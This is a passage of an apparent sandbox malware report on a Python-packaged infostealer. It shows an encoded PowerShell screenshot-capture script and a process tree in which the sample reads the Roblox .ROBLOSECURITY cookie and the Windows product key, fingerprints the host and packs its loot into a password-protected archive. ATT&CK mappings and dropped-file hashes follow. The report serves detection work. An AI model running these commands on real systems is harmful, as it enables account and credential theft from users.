wBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5044
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qorlh2w2\qorlh2w2.cmdline"
        5⤵
        
        PID:1548
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC747.tmp" "c:\Users\Admin\AppData\Local\Temp\qorlh2w2\CSCE8A099D4AF0427DAB6457CDE51ADF7.TMP"
        6⤵
        
        PID:2092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1148
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:588
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:492
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4732
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:2020
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI49842\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\BGNsX.zip" *"
    3⤵
    PID:3396
  - - C:\Users\Admin\AppData\Local\Temp\_MEI49842\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI49842\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\BGNsX.zip" *
      4⤵
      Executes dropped EXE
      PID:5068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:4608
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:2220
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:3832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4640
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:3364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:424
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:5008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI49842\VCRUNTIME140.dll

Filesize
116KB

MD5
be8dbe2dc77ebe7f88f910c61aec691a

SHA1
a19f08bb2b1c1de5bb61daf9f2304531321e0e40

SHA256
4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

SHA512
0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\_bz2.pyd

Filesize
48KB

MD5
341a6188f375c6702de4f9d0e1de8c08

SHA1
204a508ca6a13eb030ed7953595e9b79b9b9ba3b

SHA256
7039e1f1aef638c8dd8f8a4c55fd337219a4005dca2b557ba040171c27b02a1e

SHA512
5976f053ff865313e3b37b58ca053bc2778df03b8488bb0d47b0e08e1e7ba77ccf731b44335df0cea7428b976768bedc58540e68b54066a48fc4d8042e1d8a24

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\_ctypes.pyd

Filesize
58KB

MD5
ee2d4cd284d6bad4f207195bf5de727f

SHA1
781344a403bbffa0afb080942cd9459d9b05a348

SHA256
2b5fe7c399441ac2125f50106bc92a2d8f5e2668886c6de79452b82595fc4009

SHA512
a6b3ad33f1900132b2b8ff5b638cbe7725666761fc90d7f76fc835ecd31dfefc48d781b12b1e60779191888931bb167330492599c5fea8afa51e9c0f3d6e8e55

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\_decimal.pyd

Filesize
106KB

MD5
918e513c376a52a1046c4d4aee87042d

SHA1
d54edc813f56c17700252f487ef978bde1e7f7e1

SHA256
f9570f5d214d13446ed47811c7674e1d77c955c60b9fc7247ebcb64a32ae6b29

SHA512
ac2990a644920f07e36e4cb7af81aab82a503e579ce02d5026931631388e2091a52c12e4417e8c747f2af9aa9526b441a3f842387b5be534633c2258beeed497

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\_hashlib.pyd

Filesize
35KB

MD5
6d2132108825afd85763fc3b8f612b11

SHA1
af64b9b28b505e4eab1b8dd36f0ecf5511cc78a0

SHA256
aba69b3e817bfb164ffc7549c24b68addb1c9b88a970cf87bec99d856049ee52

SHA512
196bcf97034f1767a521d60423cca9d46a6447156f12f3eac5d1060a7fa26ac120c74c3ef1513e8750090d37531d014a48dd17db27fbfbb9c4768aa3aca6d5c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\_lzma.pyd

Filesize
86KB

MD5
5eee7d45b8d89c291965a153d86592ee

SHA1
93562dcdb10bd93433c7275d991681b299f45660

SHA256
7b5c5221d9db2e275671432f22e4dfca8fe8a07f6374fcfed15d9a3b2fdf07d9

SHA512
0d8f178ff5ef1e87aa4aae41089d063985c11544f85057e3860bcab1235f5ddb1cb582550a482c8b7eb961211fa67777e30b678294258ada27c423070ce8453e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\_queue.pyd

Filesize
25KB

MD5
8b3ba5fb207d27eb3632486b936396a3

SHA1
5ad45b469041d88ec7fd277d84b1e2093ec7f93e

SHA256
9a1e7aaf48e313e55fc4817f1e7f0bfe0a985f30c024dcc8d28d67f8ff87a051

SHA512
18f5a0b1a384e328d07e59a5cefbc25e027adf24f336f5ec923e38064312ea259851167bc6bc0779e2d05cd39ddd8d16a2dfd15751c83ee58fda3b1187edc54b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\_socket.pyd

Filesize
43KB

MD5
3ea95c5c76ea27ca44b7a55f6cfdcf53

SHA1
aace156795cfb6f418b6a68a254bb4adfc2afc56

SHA256
7367f5046980d3a76a6ddefc866b203cbaced9bb17f40ea834aed60bb5b65923

SHA512
916effbe6130a7b6298e1bd62e1e83e9d3defc6a7454b9044d953761b38808140a764ded97dcb1ab9d0fa7f05ae08c707da7af1c15f672a959ad84aa8da114c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\_sqlite3.pyd

Filesize
56KB

MD5
c9d6ffa3798bb5ae9f1b082d66901350

SHA1
25724fecf4369447e77283ece810def499318086

SHA256
410dad8d8b4ccf6f22701a2cdcb1bb5fd10d8efa97a21b1f5c7e1b8afc9f4fec

SHA512
878b10771303cb885039348fc7549338ad2ce609f4df6fff6588b079ab9efb624d6bc31474e806ad2a97785b30877b8241286276f36aab9e50a92cbf11adc448

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-console-l1-1-0.dll

Filesize
20KB

MD5
2c146bc8d73b8944f35506241b9953a9

SHA1
ac64abd745418cea35c0506b9cb0331b171b51ea

SHA256
89384f8f64a9b7f67c8deccaa721e2d76b8a17026d8083630859ed0cd1a9b58b

SHA512
02713948a156baccb2e7c38646193e82fef65400c086644866b698bc3e0a8c155a8eab829463e3868ce2b8a06608c5ea6de1e390bff976c5f92e2e42dd6c04f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-datetime-l1-1-0.dll

Filesize
20KB

MD5
f0c9c56f56ffa3adc548173569dbd793

SHA1
220a56b84cdb8cd403483d3f6b4bb526fe198fd9

SHA256
12d801992bbb09d43bb90330bb96e77bf12e669c325dda4b5235942221c301c8

SHA512
28e24a2ccedfaf01aef615c1df7f8c76ff0eb06d992eb1b422f902d6d96357ba6a353e31ca9b1fd305e7de7a437ee6a7f2f01bfdf27c4a88c805693ae2b6352c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-debug-l1-1-0.dll

Filesize
20KB

MD5
02d669afdabfe420598041b848b71158

SHA1
25c0fdbc04ffcd570db041d02842d7530afeeb6e

SHA256
64a9ac181fd91b79270bf01759749394f57be171436ed46f43d165325bb82067

SHA512
5321290ec277fca8840e6c9cb7e77d39e820b1d98ef9c29040efaf2a7628c023209c936e08abfb6962a795130874544db25e1bac0d16256a1ebbca0fdcdaa81a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-errorhandling-l1-1-0.dll

Filesize
20KB

MD5
944a33d971704ff815a6c90733d0a72e

SHA1
7d8b9f68a3983a1b86bf4bae085cd5ca6f464921

SHA256
44822ae123a3d6c3a8bdf9a4d65a4dc89eb31004c72fcfcefa1dc3a53ff3eab0

SHA512
4d93dece856a24e50f12a53155e07f1aab501b17e7bbfcce205e1b37d2799caf3681b1770c522ba986ac3badba59d5d95a7526fe19f86a7b0d3d933ea73754e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-file-l1-1-0.dll

Filesize
23KB

MD5
fec01082bccddadad0814f30b43ab078

SHA1
a6f6d9b61bb743651d3f65824d06427ca492c120

SHA256
c15dacec228f40ce4c5b9d69bba5e6627bc484c6e9d6550a76db6f332e9f7734

SHA512
c6039c366cb47ca31c7501423384afc0678a07abeb0ca1d97ecb5aa3c3e3acf84c9551dea1e56d1dbd4472dab70eed1c79d1c0612ba2730327ce6d0dc151c441

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-file-l1-2-0.dll

Filesize
20KB

MD5
b5060343583e6be3b3de33ccd40398e0

SHA1
5b33b8db5d6cfb0e8a5bb7f209df2c6191b02edb

SHA256
27878021c6d48fb669f1822821b5934f5a2904740bebb340b6849e7635490cb7

SHA512
86610edc05aa1b756c87160f9eefe9365e3f712c5bed18c8feca3cae12aef07ccc44c45c4be19dc8f9d337a6f6709b260c89019a5efcfe9fa0847d85ab64d282

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-file-l2-1-0.dll

Filesize
20KB

MD5
2e8995e2320e313545c3ddb5c71dc232

SHA1
45d079a704bec060a15f8eba3eab22ac5cf756c6

SHA256
c55eb043454ac2d460f86ea26f934ecb16bdb1d05294c168193a05090bf1c56c

SHA512
19adcc5dd98f30b4eebefe344e1939c93c284c802043ea3ac22654cf2e23692f868a00a482c9be1b1e88089a5031fa81a3f1165175224309828bd28ee12f2d49

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-handle-l1-1-0.dll

Filesize
20KB

MD5
31ffff2c6539b3d2f575500300b93d6b

SHA1
e28e8919150fca0cb385f55a4ec4d23058d92fbf

SHA256
6dcbdab7fa8cf66f4a05d1f5166bed33cd88bee1d37af6128f18184e6c301709

SHA512
716f42f0dc530774665982f189a1fbf0371aceb4087de67e5b677cb18a687900c73165a57ae8229b53744e2490d4f04a54686e09da3b5d8705e1df5b804fe27d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-heap-l1-1-0.dll

Filesize
20KB

MD5
c7120579bb8f56f8cd4e0d329ece3e9d

SHA1
0b35862dcc9654fc4ede338c26d0368c112d4ba9

SHA256
2e00c0176952d7c009b93c40949f91f0ab367a1b274ee78b736bf563f0344da3

SHA512
6172179c349f9952e6fb47a72a459ee29563a511d9da2a16a265625f1d8ca40ff9bd52f78a26d29b5297e7413bfa22a9797df2934a68ea551d0ab45914ee7822

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-interlocked-l1-1-0.dll

Filesize
20KB

MD5
1144ced0d8198c39f62fc71c1ecf6cb1

SHA1
43ca991199a46ca1860f8a295209dee6d32d040d

SHA256
d4d86e560a22d833fcdf0ba165d3bd3f6059e69830f4d2f9748af08905b2d4c8

SHA512
006b420d4513fd2be1e07f7512891275cb76243fd4d49855836da53ff779fa695b9bd5661fa16b1c8f83d8cec6342c9719def8d3242431b13e803bdbc2d81e4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-libraryloader-l1-1-0.dll

Filesize
21KB

MD5
2acf6db396a86e2bef9d6ddf6919581f

SHA1
c67615b97b74776fa64407e7644f92cd14336cbb

SHA256
655bade7ff61f01a803e7532082b14ae354442b0f65ef8164f824d0cfa033e6f

SHA512
9a804bad2a9f220281cd3c20dbc96c023819da96cd24341c597a9d076b5fd176ec9da8e6a227628156827294cfb460e78d41eb053e133b1038a305c996453a36

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-localization-l1-2-0.dll

Filesize
22KB

MD5
54d2f426bc91ecf321908d133b069b20

SHA1
78892ea2873091f016daa87d2c0070b6c917131f

SHA256
646b28a20208be68439d73efa21be59e12ed0a5fe9e63e5d3057ca7b84bc6641

SHA512
6b1b095d5e3cc3d5909ebda4846568234b9bc43784919731dd906b6fa62aa1fdf723ac0d18bca75d74616e2c54c82d1402cc8529d75cb1d7744f91622ac4ec06

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-memory-l1-1-0.dll

Filesize
20KB

MD5
e7b662ffa023b7f07a85ac3fb8910c11

SHA1
261edc0c4068771f0d070c17e0721d8a1bfcaf9f

SHA256
13ae84007249d532f326a00ad62e5c1f463581f30701e662bb1b3658c4c32a07

SHA512
8df890a9aa191b594bbc033bc384deb27f9e4110e51632f681b33061b4370cec6ff2d637b20a38fc882ddc74dd8247f177cea2b05a13655e7b49e07bc280d756

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-namedpipe-l1-1-0.dll

Filesize
20KB

MD5
da29d8d5a978e12d07f930f402e14180

SHA1
568943dedabc74749db557cbb398b9d72d57501a

SHA256
84cec1a1aaf344a93581b0f0c293623cd07652982a9f54f2fc879092512c4d92

SHA512
da65f9490f46b2509c4e15a82879ce64baa947fc978f20e052fb9bb9d002bb9c21a5b847d1d6258a4fa5747fcd22542f246b14653f5a67c528d60f919ede70c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-processenvironment-l1-1-0.dll

Filesize
21KB

MD5
d67863ab55ef2a9d195870c360ceaeb4

SHA1
b0a604463be51ef269f203e3a3be25b1d874ed05

SHA256
c6e8472ffc639ccd9c07e7f6954da9ae94779cb9a81acb11ed3588cdca1182b0

SHA512
b12fd7f7e9767f824810d2b3ed1fc3cb8d222c95a3894adaaed7e48cc9d690333e68665c622f0b9f3775b0a8b3e043b1e97b6987abb1ae68b94dda60d83371a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-processthreads-l1-1-0.dll

Filesize
22KB

MD5
d5fc4afae80dc3abf97b716416bc2952

SHA1
cd0fd43345393b633c315b489ee85fd846597ce6

SHA256
a1a413de3c85658d1672aa4c6aa77056e1a4884ab9ed5bb572cad991c9b348db

SHA512
d5fe2058bf212136248afe0675477ec03defab7db7e08667f9cf1fd9c1fb87d639a3af049639f7d1bfa136728d3ea420d85bcd20f8f3a39dda95cf69098d0bf2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-processthreads-l1-1-1.dll

Filesize
20KB

MD5
d1b3cc23127884d9eff1940f5b98e7aa

SHA1
d1b108e9fce8fba1c648afaad458050165502878

SHA256
51a73fbfa2afe5e45962031618ec347aaa0857b11f3cf273f4c218354bfe70cb

SHA512
ee5e0d546190e8ba9884ab887d11bb18fc71d3878983b544cd9ab80b6dd18ad65e66fe49fe0f4b92cbc51992fb1c39de091cf789159625341a03f4911b968fa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-profile-l1-1-0.dll

Filesize
19KB

MD5
2e19bdbf51d8caf97b2bcb886fdc5b2d

SHA1
5277e6a9660606d58a116776fbabd92fc4cdb417

SHA256
9518b9399ac4d459122e428173b2baaccd92c02e585a13e58a7812fad7012381

SHA512
0af6a11e4704a7251ca9b3ebe1269b24aff6620545895f33a60e04f8587738a02919f7e4d1fccb9a59a0a697560c8bf0ad64a3cff99ce7da4ca972bb3e704367

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-rtlsupport-l1-1-0.dll

Filesize
20KB

MD5
e8789ec050c879b856f1f13b9cee6f3a

SHA1
8264646f975c87e89803fa62d5ceeb0100f38214

SHA256
197a57651e3014f9f3cf21fbcaa718de63f0a76f222a3ad08f287bfedc101bfa

SHA512
417785e476ea1a8ae88dc872683f4e5ef12695f4e74ec68f3921d89142cd443dba2e2c1d37f54c8eaa9c8ddaf14cdcf7502139a6c28a55502e242cde438d10f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-string-l1-1-0.dll

Filesize
20KB

MD5
a92e0c30499a3be2b4166adafd86d0f4

SHA1
cb1293dc3ff5002b4950233cbc3bfa3a12249bdd

SHA256
3c2c4d10c8397a38d6a1407c4606907df5781b1339893c3861605094d8a69053

SHA512
70ed8bd03d3aecc5d2967d87dca376fdc69232422cb590a673eaf6721d2793ec2ad5d46884740a6d9f961b72f71e94ce322d773bc5db2807cc2708d35e0f48bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-synch-l1-1-0.dll

Filesize
22KB

MD5
393ced54d952c843ac9e16354bff642b

SHA1
407fe145c0068150827d95544f8344a24eeaf589

SHA256
bf32d8aea6faebe41b1454e4b80b5a3639ba2cd35a9715de25acd7f28bf6d4de

SHA512
b296ff475ad0bdb8419b7535ce8ee0e1b20382f477a87ed57b257ed382755b6e9a5578697623a4cbadc32ff601e6b45f0e581869f2c45926cbbeda97fd6265b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-synch-l1-2-0.dll

Filesize
20KB

MD5
dac3e271ef4a287821becda51aa12946

SHA1
a8d1211d4881e1ff1b948b5139fbaf2af5028e5c

SHA256
80fbae0acceb55364437bdd862d454db5acaa797ad0367931aef7677c7e84e7b

SHA512
c7664a12eaee82127cff203c79f16c87b9388e57adba7cdfe3b86f4b92aab198127658bf83f4b15c14f661b1c1e1aaa6a2195f036bbad3cb72229e7ae83bb435

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-sysinfo-l1-1-0.dll

Filesize
21KB

MD5
eb3aeb684858b00bc6a90f68e8df5484

SHA1
f0a4298880ad6d7b1b92a289fd05fe352b3bca3b

SHA256
96a594b5a57303ae1e1dce14724a46500edc38d2c5cca0f52f0c77e3ebc916b1

SHA512
57ceea716c30d5ecc718114d5f4ad67f28acb949b9c537c78a000186dbd7e217f2fab0a4ac24df9e407b6260286a93161353fd82ade23c0280e825f91ff7690a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-timezone-l1-1-0.dll

Filesize
20KB

MD5
36165a5050672b7b0e04cb1f3d7b1b8f

SHA1
ef17c4622f41ef217a16078e8135acd4e2cf9443

SHA256
d7ab47157bff1b2347e7ae945517b4fc256425939ba7b6288ff85a51931568a7

SHA512
da360ff716bb66dd1adb5d86866b4b81b08a6fe86362fded05430f833a96934ccdada1b3081b55766a4a30c16d0d62aa1715b8839ea5c405a40d9911715dae68

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-core-util-l1-1-0.dll

Filesize
20KB

MD5
4fc1d0fdb7b881793ded358f1880bc16

SHA1
7810439ec85cd8488079c7dfd95b559eae994f2c

SHA256
598c5cfc2b5ce7f9c874c85e47f7571f6127590a52b46e0a8f576a603dfefa94

SHA512
7cd48d24da337c0b104bf88becfa1eb40579c283c6ece62cb19a3c51c70bed3ef0660f4bb0837b1edcda19e51eee18da6237bb732bd2db0fbcece8d7f04efb76

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-crt-conio-l1-1-0.dll

Filesize
21KB

MD5
75e626c3ebf160ebe75c59d3d6ac3739

SHA1
02a99199f160020b1086cec6c6a2983908641b65

SHA256
762ca8dd14f8ff603d06811ba904c973a684022202476bca45e9dc1345151ac4

SHA512
5ad205b90ac1658c5b07f6f212a82be8792999b68f9c9617a1298b04d83e7fcb9887ed307a9d31517bcba703b3ee6699ea93f67b06629355ea6519fed0a6d29a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI49842\api-ms-win-crt-convert-l1-1-0.dll

